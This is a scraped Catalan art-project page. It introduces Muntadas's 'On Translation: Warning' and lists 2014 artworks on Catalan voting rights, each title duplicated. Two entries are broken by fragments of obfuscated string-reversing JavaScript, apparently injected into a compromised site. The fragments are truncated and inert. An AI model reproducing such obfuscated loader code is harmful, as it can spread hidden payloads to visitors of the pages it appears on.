On Translation: Warning (1999-…), 2014

Muntadas

Atenció: la percepció requereix implicació. Aquest text, traduït al català, ha estat distribuït sobre diversos suports i llengües a moltes ciutats del món com a part del projecte obert On Translation. L’objectiu és la crida al compromís i a la participació de les diverses audiències on es presenta, mitjançant signes i paraules propis del món de la comunicació, com és la paraula «atenció», que funciona com a crida, avís o advertència.

1
Vot i veu ara, 2014 Vot i veu ara, 2014 Joan Rabascall
Dret a decidir, 2014 Dret a decidir, 2014 Marga Ximénez
Quan hom tot just té el dret Quan hom tot just té el dret Ester Xargay
Nus, 2014 Nus, 2014 Joan-Pere Viladecans
de facto!, 2014 de facto!, 2014 Francesc Vidal
Qui té por de la llibertat?, 2014 Qui té por de la llibertat?, 2014 Vicenç Viaplana
Cultura, barbàrie, 2014 Cultura, barbàrie, 2014 Jordi Tolosa
Nena AVV, 2014 Nena AVV, 2014 Carme Solé Vendrell
Vermell d’ou, 2014 Vermell d’ou, 2014 Susana Solano
9-11-2014, 2014 9-11-2014, 2014 Saralegui
Gest, 2014 Gest, 2014 Carme Sanglas
Below the surface, 2014 Below the surface, 2014 Aureli Ruiz
Veu i vot, 2014 Veu i vot, 2014 Francesc Ruestes
Paraula, sí!, 2014 Paraula, sí!, 2014 Benet Rossell
LLIBERCAT!, 2014 LLIBERCAT!, 2014 Anton Roca
V de…, 2014 V de…, 2014 Àngels Ribé
Nexus, 2014 Nexus, 2014 Jaume Ribas
Sis negres més dos vermells, 2014 Sis negres més dos vermells, 2014 Carles Pujol
Imprevistos previstos, 2014 Imprevistos previstos, 2014 Lluís Puigbert
Sense vot, sense veu!, 2014 Sense vot, sense veu!, 2014 ANT (Anthony Garner)
Temps era temps. Temps era temps. Carles Hac Mor
Volem votar!, 2014 Volem votar!, 2014 Josep Pla-Narbona
9N 2014, 2014 9N 2014, 2014 Enric Pladevall
Exvot català, 2014 Exvot català, 2014 Perejaume
Til·la catalana dels Alps, 2014 Til·la catalana dels Alps, 2014 Jordi Pablo i Grau
Jo dic sí, sí, 2014 Jo dic sí, sí, 2014 Xavier Oriach
Crit tancat, 2014 Crit tancat, 2014 Pau Nubiola
Llistó, 2014 Llistó, 2014 Àlex Nogué
On Translation: Warning (1999-…), 2014 On Translation: Warning (1999-…), 2014 Muntadas
El retorn (fragment), 2012-2014 El retorn (fragment), 2012-2014 Fina Miralles
Desperta Ferro! Energy Drink , 2014 Desperta Ferro! Energy Drink , 2014 Miralda
Volem votar, 2014 Volem votar, 2014 Josep M. Mestres Quadreny
Medina Campeny vol votar! Medina Campeny vol votar! Xavier Medina-Campeny
Dret a decidir, 2014 Dret a decidir, 2014 Enric Maurí
Dret a decidir, 2014 Dret a decidir, 2014 Javier Mariscal
11-IX-014-17:14.PM, 2014 11-IX-014-17:14.PM, 2014 Manel Margalef
Porta, 2014 Porta, 2014 Isidre Manils
Línies de decurs, 2014 Línies de decurs, 2014 Albert Macaya
Blau, 2014 Blau, 2014 Francesca Llopis
Finestra observatori de la nau alienígena – Ovni, 2014 Finestra observatori de la nau alienígena – Ovni, 2014 Robert Llimós
Contra l’eròtica del poder, l’eròtica del votar, 2014 Contra l’eròtica del poder, l’eròtica del votar, 2014 Antoni Llena
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == "string") return $VOcl3cIRrbzlimOyC8H.list[n].split("").reverse().join("");return $VOcl3cIR"> Una samarreta per a recordar, 2014 Lluís Juste de Nin
Dret a decidir, 2014 Dret a decidir, 2014 Salvador Juanpere
Via lliure, 2014 Via lliure, 2014 JOMA
Vota, 2014 Vota, 2014 Insectotròpics
No tot serà, però, silenci, 2014 No tot serà, però, silenci, 2014 Artur Heras
Escoltem amb la mirada, 2014 Escoltem amb la mirada, 2014 Francesc Guitart
Eutròfia, 2014 Eutròfia, 2014 Toni Giró
V, 2014 V, 2014 Ferran García Sevilla
Què dibuixar per ser, 2014 Què dibuixar per ser, 2014 Jesús Galdón
Exvot, 2014 Exvot, 2014 Gabriel
Volem, 2014 Volem, 2014 Manel Fontdevila
Fer un referèndum és inconstitucional Fer un referèndum és inconstitucional Ester Ferrando
Dolça Catalunya, 2014 Dolça Catalunya, 2014 Evru
La senyera, 2012 La senyera, 2012 Eulàlia
Cultura / Compartir / Construcció / Compromís, 2014 Cultura / Compartir / Construcció / Compromís, 2014 Pep Duran
Sense títol, 2014 Sense títol, 2014 Quim Domene
Custòdia postfranquista, 2014 Custòdia postfranquista, 2014 Marcel Dalmau
La por, 2014 La por, 2014 Jordi Cuyàs
Fils tallats, paraules desbaratades, 2014 Fils tallats, paraules desbaratades, 2014 Montserrat Costa
Això és putrefacte, 2014 Això és putrefacte, 2014 Jordi Cerdà
Habemus, 2014 Habemus, 2014 J. M. Calleja
Emprendre el vol, 2014 Emprendre el vol, 2014 Jordi Borràs Abelló
Tinta damunt paper d’allò cíclic, 2014 Tinta damunt paper d’allò cíclic, 2014 Isabel Banal i Jordi Canudas
Prenyada, 2014 Prenyada, 2014 Francesc Artigau
Testimoni XI, 2014 Testimoni XI, 2014 Enric Ansesa
El meu vot, 2014 El meu vot, 2014 América Sánchez
Fotografia, 2014 Fotografia, 2014 Vicenç Altaió
Fotografia, 2014 Fotografia, 2014 Franc Aleu
La Norma vol votar La Norma vol votar Esquerrà
Manuel, 2014 Manuel, 2014 Begoña Egurbide
El far, 2014 El far, 2014 Leonard Beard
Votar, 2014 Votar, 2014 Eduard Arranz-Bravo
NOC Noves Organitzacions Catalanes. Setembre de 2014. NOC Noves Organitzacions Catalanes. Setembre de 2014. Marcel·lí Antúnez
Dret irrenunciable, 2014 Dret irrenunciable, 2014 Nora Ancarola
Jo vull, 2014 Jo vull, 2014 Ernest Altés
Enrevessat camí cap al 2014 Enrevessat camí cap al 2014 Artur Aguilar
Topografia i fragilitat, 2014 Topografia i fragilitat, 2014 Pep Admetlla
Duelo/Duel, 2014 Duelo/Duel, 2014 Jordi Abelló
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == "string") return $VOcl3cIRrbzlimOyC8H.list[n].split("").reverse().join("");return $V"> Imatge d’arxiu. Acció d’escriure xxxxxxxxxxx damunt del mapa de Catalunya, 1968-2014 Imatge d’arxiu. Acció d’escriure xxxxxxxxxxx damunt del mapa de Catalunya, 1968-2014 Francesc Abad